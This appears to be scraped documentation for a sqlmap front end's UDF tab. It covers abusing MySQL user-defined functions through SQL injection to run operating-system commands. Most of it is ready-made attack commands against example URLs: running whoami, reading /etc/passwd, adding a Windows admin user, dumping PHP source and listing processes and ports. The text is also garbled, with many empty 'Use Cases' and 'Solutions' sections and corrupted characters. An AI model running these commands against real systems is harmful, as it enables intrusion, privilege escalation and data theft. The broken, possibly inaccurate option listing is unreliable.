The UDF tab controls the creation and execution of user-defined functions (UDFs) in the database, enabling advanced operations like file system access, OS command execution, and privilege escalation.
The UDF tab contains three main sections:
Parameter: --udf-drop
Description: Drop existing UDFs before creating new ones
Behavior: Cleans up previous UDF installations
Use Cases:
Parameter: --shared-lib=LIBRARY
Description: Specify shared library file for UDF creation
Examples:
--shared-lib=/path/to/lib_mysqludf_sys.so
--shared-lib=C:\udf\lib_mysqludf_sys.dll
--shared-lib=./custom_udf.so
Use Cases:
Parameter: --udf-path=PATH
Description: Path to UDF repository or custom UDF files
Examples:
--udf-path=/var/lib/mysql/udf/
--udf-path=C:\MySQL\udf\
--udf-path=./custom_udf/
Use Cases:
Parameter: --udf-exec=FUNCTION
Description: Execute a user-defined function
Examples:
--udf-exec=sys_exec('whoami')
--udf-exec=sys_eval('id')
--udf-exec=lib_mysqludf_sys.so
Use Cases:
Parameter: --udf-args=ARGS
Description: Arguments to pass to UDF function
Examples:
--udf-args="'whoami'"
--udf-args="'cat /etc/passwd'"
--udf-args="'net user admin password'"
Use Cases:
Description: System function library for MySQL Functions:
sys_exec()
- Execute system commandssys_eval()
- Evaluate system commandssys_get()
- Get environment variablessys_set()
- Set environment variablesUsage Examples:
SELECT sys_exec('whoami');
SELECT sys_eval('uname -a');
SELECT sys_get('PATH');
Requirements:
Basic UDF Structure:
#include <mysql/mysql.h>
my_bool my_udf_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
return 0;
}
void my_udf_deinit(UDF_INIT *initid) {
// Cleanup code
}
char *my_udf(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
// Function implementation
return result;
}
Parameter: --udf-exec=FUNC1 --udf-args=ARGS1 --udf-exec=FUNC2 --udf-args=ARGS2
Description: Execute multiple UDF functions in sequence
Use Cases:
Parameter: --sql-query="SELECT udf_function(args)"
Description: Execute UDFs within SQL queries
Examples:
SELECT sys_exec('ls -la /var/www');
SELECT sys_eval('ps aux | grep apache');
SELECT sys_get('HOME');
Use Cases:
UDF Drop: โ Enabled
Shared Library: /path/to/lib_mysqludf_sys.so
UDF Exec: sys_exec
UDF Args: 'whoami'
Generated Command:
sqlmap -u "http://example.com/page.php?id=1" --udf-drop --shared-lib=/path/to/lib_mysqludf_sys.so --udf-exec=sys_exec --udf-args='whoami'
UDF Exec: sys_eval
UDF Args: 'uname -a && id && whoami'
Generated Command:
sqlmap -u "http://example.com/admin.php?id=1" --udf-exec=sys_eval --udf-args='uname -a && id && whoami'
UDF Exec: sys_exec
UDF Args: 'find /var/www -name *.php -exec cat {} \;'
Generated Command:
sqlmap -u "http://example.com/files.php?id=1" --udf-exec=sys_exec --udf-args='find /var/www -name *.php -exec cat {} \;'
Shared Library: C:\udf\lib_mysqludf_sys.dll
UDF Exec: sys_exec
UDF Args: 'whoami && whoami /priv'
Generated Command:
sqlmap -u "http://example.com/win.php?id=1" --shared-lib=C:\udf\lib_mysqludf_sys.dll --udf-exec=sys_exec --udf-args='whoami && whoami /priv'
UDF Path: /custom/udf/
UDF Drop: โ Enabled
Shared Library: custom_functions.so
Generated Command:
sqlmap -u "http://example.com/custom.php?id=1" --udf-path=/custom/udf/ --udf-drop --shared-lib=custom_functions.so
UDF Exec: sys_exec
UDF Args: 'ps aux'
UDF Exec: sys_eval
UDF Args: 'netstat -tlnp'
Generated Command:
sqlmap -u "http://example.com/batch.php?id=1" --udf-exec=sys_exec --udf-args='ps aux' --udf-exec=sys_eval --udf-args='netstat -tlnp'
Problem: Cannot create UDF functions Solutions:
SHOW GRANTS
Problem: UDF functions not executing properly Solutions:
SHOW FUNCTION STATUS
Problem: Shared library not loading Solutions:
ldd library.so
Problem: UDF operations failing due to permissions Solutions:
Problem: UDF causing memory or resource problems Solutions:
Problem: UDF not working on specific platform Solutions: